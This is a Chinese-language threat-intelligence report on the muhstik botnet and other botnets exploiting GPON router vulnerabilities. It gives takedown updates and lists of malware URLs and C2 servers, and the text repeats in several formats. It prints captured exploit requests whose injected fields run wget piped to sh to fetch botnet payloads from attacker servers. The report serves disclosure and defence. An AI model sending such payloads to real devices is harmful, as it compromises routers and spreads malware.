GPON 漏洞的在野利用（一）——muhstik 僵尸网络
<!--kg-card-begin: markdown--><p>自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。</p>
<p>幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。</p>
<p>muhstik 僵尸网络由我们首次批露 （ <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">报告-2018-04</a> ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。</p>
<p>到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。</p>
<h4 id="gpon">多个僵尸网络正在积极利用最近公开的 GPON 漏洞</h4>
<p>5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。</p>
<p>从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。</p>
<p>按我们观测到的时间顺序，这些僵尸网络分别是：</p>
<ul>
<li><strong>mettle</strong>：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野；</li>
<li><strong>muhstik</strong>： muhstik僵尸网络由我们首先批露（ <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">报告-2018-04</a> 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用；</li>
<li><strong>不止一个mirai变种</strong>：<a href="__GHOST_URL__/tag/mirai/">mirai 僵尸网络</a> 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种；</li>
<li><strong>hajime</strong>：我们就hajime僵尸网络已经发布了两份报告（ <a href="__GHOST_URL__/hajime-status-report/">报告-2017-09</a> ， <a href="__GHOST_URL__/quick-summary-port-8291-scan-cn/">简报-2018-03</a> ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。</li>
<li><strong>satori</strong>：<a href="__GHOST_URL__/tag/satori/">Satori僵尸网络</a> 由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（<a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">报告-2017-11</a>，<a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">报告-2017-12</a>，<a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">报告-2018-01</a>）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。</li>
</ul>
<p>下文集中描述 muhstik 僵尸网络。</p>
<h4 id="muhstik">muhstik 僵尸网络基本情况</h4>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png" alt="" loading="lazy"></p>
<p>上图是 muhstik 僵尸网络的结构示意：</p>
<ul>
<li><strong>扫描阶段</strong>：<strong>muhstik.scanner</strong> 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态；</li>
<li><strong>感染阶段</strong>：<strong>muhstik.infector</strong> 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分；</li>
<li><strong>控制阶段</strong>：<strong>muhstik.c2.list</strong> 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。</li>
</ul>
<h4 id="muhstik">muhstik 僵尸网络的本次更新 - 扫描阶段</h4>
<p>muhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下:</p>
<ol>
<li>Gpon（CVE-2018-10561 &amp; CVE-2018-10562）</li>
<li>JBoss（CVE-2007-1036）</li>
<li>DD-WRT（web 认证爆破）</li>
</ol>
<p>与之对应的上报URL分别如下:</p>
<pre><code>hxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE
hxxp://51.254.219.134/jboss.php  #JBoss
hxxp://51.254.219.134/ddwrt.php  #DD-WRT
</code></pre>
<p>在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。</p>
<p>目前GPON上报URL更新为:</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080
</code></pre>
<h4 id="muhstik">muhstik 僵尸网络的本次更新 - 感染阶段</h4>
<p>在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。</p>
<p>GPON漏洞的扫描载荷如下：</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: text/plain
Content-length: 121
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&amp;ipv=0
</code></pre>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like
Gecko) Chrome/4.0.222.4 Safari/532.2
Content-Length: 113
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&amp;ipv=0
</code></pre>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206
Ubuntu/10.10 (maverick) Firefox/3.6.13
Content-Length: 112
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&amp;ipv=0
</code></pre>
<h4 id="muhstik">muhstik 僵尸网络的本次更新 - 恶意代码样本</h4>
<p>Gpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）：</p>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png" alt="" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png" alt="" loading="lazy"></p>
<p>DD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752）</p>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png" alt="" loading="lazy"></p>
<h4 id="">安全社区联合行动及更新</h4>
<p>到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括：</p>
<pre><code>51.254.219.134	&quot;AS16276 OVH SAS&quot;
191.238.234.227	&quot;AS8075 Microsoft Corporation&quot;
</code></pre>
<p>然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。</p>
<p>新的恶意软件url</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #状态报告
hxxp://162.243.211.204/gponexec         #下载 muhstik.tsunami 恶意样本
</code></pre>
<h4 id="iocmuhstik">IoC - muhstik</h4>
<p>State Report URL List</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080
</code></pre>
<p>Malware Download URL List</p>
<pre><code>hxxp://162.243.211.204/aio
hxxp://162.243.211.204/gpon
hxxp://162.243.211.204/nsshpftp
hxxp://162.243.211.204/nsshcro
hxxp://162.243.211.204/aiomips
hxxp://210.245.26.180/arm
hxxp://46.243.189.102/
hxxp://162.243.211.204/gponexec
hxxp://51.254.221.129/c/cron  
hxxp://51.254.221.129/c/tfti  
hxxp://51.254.221.129/c/pftp  
hxxp://51.254.221.129/c/ntpd  
hxxp://51.254.221.129/c/sshd  
hxxp://51.254.221.129/c/bash  
hxxp://51.254.221.129/c/pty  
hxxp://51.254.221.129/c/shy  
hxxp://51.254.221.129/c/nsshtfti  
hxxp://51.254.221.129/c/nsshcron  
hxxp://51.254.221.129/c/nsshpftp  
hxxp://51.254.221.129/c/fbsd  
</code></pre>
<p>C2 List</p>
<pre><code>139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #当前未生效  
</code></pre>
<p>All IP list</p>
<pre><code>121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
139.99.101.96:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
145.239.93.125:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
162.243.211.204	&quot;AS62567 DigitalOcean, LLC&quot;
165.227.78.159	&quot;AS14061 DigitalOcean, LLC&quot;
192.99.71.250:9090    AS16276 OVH SAS  
210.245.26.180	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
46.243.189.102	&quot;AS205406 Hostio Solutions B.V.&quot;
51.254.221.129	&quot;AS16276 OVH SAS&quot;
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
irc.de-zahlung.eu:9090        #当前未生效
51.254.219.137	&quot;AS16276 OVH SAS&quot;
</code></pre>
<p>曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：</p>
<pre><code>51.254.219.134	&quot;AS16276 OVH SAS&quot;
191.238.234.227	&quot;AS8075 Microsoft Corporation&quot;
</code></pre>
<h4 id="iocmettle">IoC - mettle</h4>
<p>C2 and Scanner</p>
<pre><code>210.245.26.180	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
118.70.80.143	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
</code></pre>
<!--kg-card-end: markdown-->
自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。


幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。


muhstik 僵尸网络由我们首次批露 （ 报告-2018-04 ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。


到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。


多个僵尸网络正在积极利用最近公开的 GPON 漏洞


5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。


从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。


按我们观测到的时间顺序，这些僵尸网络分别是：


 * mettle：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野；
 * muhstik： muhstik僵尸网络由我们首先批露（ 报告-2018-04 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用；
 * 不止一个mirai变种：mirai 僵尸网络 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种；
 * hajime：我们就hajime僵尸网络已经发布了两份报告（ 报告-2017-09 ， 简报-2018-03 ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。
 * satori：Satori僵尸网络 由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（报告-2017-11，报告-2017-12，报告-2018-01）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。


下文集中描述 muhstik 僵尸网络。


muhstik 僵尸网络基本情况





上图是 muhstik 僵尸网络的结构示意：


 * 扫描阶段：muhstik.scanner 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态；
 * 感染阶段：muhstik.infector 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分；
 * 控制阶段：muhstik.c2.list 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。


muhstik 僵尸网络的本次更新 - 扫描阶段


muhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下:


 1. Gpon（CVE-2018-10561 & CVE-2018-10562）
 2. JBoss（CVE-2007-1036）
 3. DD-WRT（web 认证爆破）


与之对应的上报URL分别如下:


hxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE
hxxp://51.254.219.134/jboss.php  #JBoss
hxxp://51.254.219.134/ddwrt.php  #DD-WRT



在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。


目前GPON上报URL更新为:


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080



muhstik 僵尸网络的本次更新 - 感染阶段


在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。


GPON漏洞的扫描载荷如下：


POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: text/plain
Content-length: 121
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0



POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like
Gecko) Chrome/4.0.222.4 Safari/532.2
Content-Length: 113
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0



POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206
Ubuntu/10.10 (maverick) Firefox/3.6.13
Content-Length: 112
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0



muhstik 僵尸网络的本次更新 - 恶意代码样本


Gpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）：







DD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752）





安全社区联合行动及更新


到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括：


51.254.219.134	"AS16276 OVH SAS"
191.238.234.227	"AS8075 Microsoft Corporation"



然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。


新的恶意软件url


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #状态报告
hxxp://162.243.211.204/gponexec         #下载 muhstik.tsunami 恶意样本



IoC - muhstik


State Report URL List


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080



Malware Download URL List


hxxp://162.243.211.204/aio
hxxp://162.243.211.204/gpon
hxxp://162.243.211.204/nsshpftp
hxxp://162.243.211.204/nsshcro
hxxp://162.243.211.204/aiomips
hxxp://210.245.26.180/arm
hxxp://46.243.189.102/
hxxp://162.243.211.204/gponexec
hxxp://51.254.221.129/c/cron  
hxxp://51.254.221.129/c/tfti  
hxxp://51.254.221.129/c/pftp  
hxxp://51.254.221.129/c/ntpd  
hxxp://51.254.221.129/c/sshd  
hxxp://51.254.221.129/c/bash  
hxxp://51.254.221.129/c/pty  
hxxp://51.254.221.129/c/shy  
hxxp://51.254.221.129/c/nsshtfti  
hxxp://51.254.221.129/c/nsshcron  
hxxp://51.254.221.129/c/nsshpftp  
hxxp://51.254.221.129/c/fbsd  



C2 List


139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #当前未生效  



All IP list


121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  
139.99.101.96:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
145.239.93.125:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
162.243.211.204	"AS62567 DigitalOcean, LLC"
165.227.78.159	"AS14061 DigitalOcean, LLC"
192.99.71.250:9090    AS16276 OVH SAS  
210.245.26.180	"AS18403 The Corporation for Financing & Promoting Technology"
46.243.189.102	"AS205406 Hostio Solutions B.V."
51.254.221.129	"AS16276 OVH SAS"
66.70.190.236:9090    AS16276 OVH SAS #当前未生效  
irc.de-zahlung.eu:9090        #当前未生效
51.254.219.137	"AS16276 OVH SAS"



曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：


51.254.219.134	"AS16276 OVH SAS"
191.238.234.227	"AS8075 Microsoft Corporation"



IoC - mettle


C2 and Scanner


210.245.26.180	"AS18403 The Corporation for Financing & Promoting Technology"
118.70.80.143	"AS18403 The Corporation for Financing & Promoting Technology"


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。\n\n幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。\n\nmuhstik 僵尸网络由我们首次批露 （ [报告-2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。\n\n到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。\n\n#### 多个僵尸网络正在积极利用最近公开的 GPON 漏洞\n\n5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。\n\n从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。\n\n按我们观测到的时间顺序，这些僵尸网络分别是：\n\n - **mettle**：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野；\n - **muhstik**： muhstik僵尸网络由我们首先批露（ [报告-2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用；\n - **不止一个mirai变种**：[mirai 僵尸网络](__GHOST_URL__/tag/mirai/) 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种；\n - **hajime**：我们就hajime僵尸网络已经发布了两份报告（ [报告-2017-09](__GHOST_URL__/hajime-status-report/) ， [简报-2018-03](__GHOST_URL__/quick-summary-port-8291-scan-cn/) ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。\n - **satori**：[Satori僵尸网络](__GHOST_URL__/tag/satori/) 由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（[报告-2017-11](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/)，[报告-2017-12](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/)，[报告-2018-01](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/)）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。\n\n下文集中描述 muhstik 僵尸网络。\n\n#### muhstik 僵尸网络基本情况\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png)\n\n上图是 muhstik 僵尸网络的结构示意：\n \n - **扫描阶段**：**muhstik.scanner** 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态；\n - **感染阶段**：**muhstik.infector** 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分；\n - **控制阶段**：**muhstik.c2.list** 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。\n\n#### muhstik 僵尸网络的本次更新 - 扫描阶段\n\nmuhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下:\n\n1. Gpon（CVE-2018-10561 & CVE-2018-10562）\n2. JBoss（CVE-2007-1036）\n3. DD-WRT（web 认证爆破）\n\n与之对应的上报URL分别如下:\n```\nhxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE\nhxxp://51.254.219.134/jboss.php  #JBoss\nhxxp://51.254.219.134/ddwrt.php  #DD-WRT\n```\n在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。\n\n目前GPON上报URL更新为:\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\n\n#### muhstik 僵尸网络的本次更新 - 感染阶段\n\n在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。\n\nGPON漏洞的扫描载荷如下：\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: text/plain\nContent-length: 121\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like\nGecko) Chrome/4.0.222.4 Safari/532.2\nContent-Length: 113\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206\nUbuntu/10.10 (maverick) Firefox/3.6.13\nContent-Length: 112\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0\n```\n\n#### muhstik 僵尸网络的本次更新 - 恶意代码样本\n\nGpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）：\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png)\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png)\n\nDD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752）\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png)\n\n#### 安全社区联合行动及更新\n\n到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括：\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。\n\n新的恶意软件url\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #状态报告\nhxxp://162.243.211.204/gponexec         #下载 muhstik.tsunami 恶意样本\n```\n\n#### IoC - muhstik\nState Report URL List\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\nMalware Download URL List\n```\nhxxp://162.243.211.204/aio\nhxxp://162.243.211.204/gpon\nhxxp://162.243.211.204/nsshpftp\nhxxp://162.243.211.204/nsshcro\nhxxp://162.243.211.204/aiomips\nhxxp://210.245.26.180/arm\nhxxp://46.243.189.102/\nhxxp://162.243.211.204/gponexec\nhxxp://51.254.221.129/c/cron  \nhxxp://51.254.221.129/c/tfti  \nhxxp://51.254.221.129/c/pftp  \nhxxp://51.254.221.129/c/ntpd  \nhxxp://51.254.221.129/c/sshd  \nhxxp://51.254.221.129/c/bash  \nhxxp://51.254.221.129/c/pty  \nhxxp://51.254.221.129/c/shy  